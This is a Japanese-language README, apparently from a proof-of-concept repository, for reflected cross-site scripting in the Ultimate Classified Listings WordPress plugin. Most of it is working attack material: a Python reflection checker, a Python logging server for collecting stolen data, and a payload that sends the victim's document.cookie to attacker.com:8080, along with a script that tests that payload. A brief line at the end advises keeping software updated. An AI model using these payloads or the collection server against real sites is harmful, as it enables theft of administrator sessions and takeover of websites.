
Ultimate Classified Listings WordPressプラグインにおける反射型XSSと、細工したペイロードおよびロギングサーバーを介した管理者Cookie窃取を実証する概念実証スクリプト。
このリポジトリには、さまざまなWordPressプラグインで発見された脆弱性に対する概念実証(PoC)スクリプトが含まれています。これらのスクリプトは、攻撃者がこれらの脆弱性を悪用して悪意のあるアクションを実行する方法を示しています。
Ultimate Classified Listingsプラグインの反射型クロスサイトスクリプティング(XSS)
XSSを使用したCookieの窃取
このPoCは、Ultimate Classified Listingsプラグインの反射型XSS脆弱性を悪用する方法を示しています。
脆弱なパラメータを特定:
http://example.com/classifieds内のであると仮定します。search悪意のあるURLを作成:
http://example.com/classifieds?search=<script>alert('XSS')</script>
PoCスクリプトを実行:
xss_poc.py として保存し、実行します。import requests
# Configuration
target_url = "http://example.com/classifieds" # Change this to the target site's URL
payload = "<script>alert('XSS')</script>" # XSS payload
def trigger_xss():
# Construct the malicious URL
malicious_url = f"{target_url}?search={payload}"
# Send a GET request to the malicious URL
response = requests.get(malicious_url)
# Check if the payload is reflected in the response
if payload in response.text:
print("[+] XSS payload reflected in the response.")
print("[+] Malicious URL:", malicious_url)
else:
print("[-] XSS payload not reflected in the response.")
if __name__ == "__main__":
trigger_xss()
このPoCは、攻撃者が反射型XSSの脆弱性を悪用して高権限ユーザーからCookieを窃取する方法を示しています。
悪意のあるサーバーをセットアップ:
malicious_server.py として保存し、実行して、受信リクエスト(Cookieを含む)をログに記録するサーバーを起動します。from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
logging.info(f"Received request: {self.headers}")
self.send_response(200)
self.end_headers()
def run(server_class=HTTPServer, handler_class=RequestHandler, port=8080):
logging.basicConfig(filename='server.log', level=logging.INFO)
server_address = ('', port)
httpd = server_class(server_address, handler_class)
logging.info(f'Starting server on port {port}...')
httpd.serve_forever()
if __name__ == "__main__":
run()
Cookieを窃取するペイロードを作成:
http://example.com/classifieds?search=<script>new Image().src='http://attacker.com:8080?cookie='+document.cookie;</script>
PoCスクリプトを実行:
steal_cookies_poc.py として保存し、実行します。import requests
# Configuration
target_url = "http://example.com/classifieds" # Change this to the target site's URL
attacker_server = "http://attacker.com:8080" # Change this to your malicious server's URL
payload = f"<script>new Image().src='{attacker_server}?cookie='+document.cookie;</script>"
def trigger_xss():
# Construct the malicious URL
malicious_url = f"{target_url}?search={payload}"
# Send a GET request to the malicious URL
response = requests.get(malicious_url)
# Check if the payload is reflected in the response
if payload in response.text:
print("[+] XSS payload reflected in the response.")
print("[+] Malicious URL:", malicious_url)
else:
print("[-] XSS payload not reflected in the response.")
if __name__ == "__main__":
trigger_xss()
これらのPoCは、攻撃者がWordPressプラグインの脆弱性を悪用して悪意のあるアクションを実行する方法を示しています。常にソフトウェアを最新の状態に保ち、セキュリティのベストプラクティスに従って、このような脆弱性を防ぎましょう。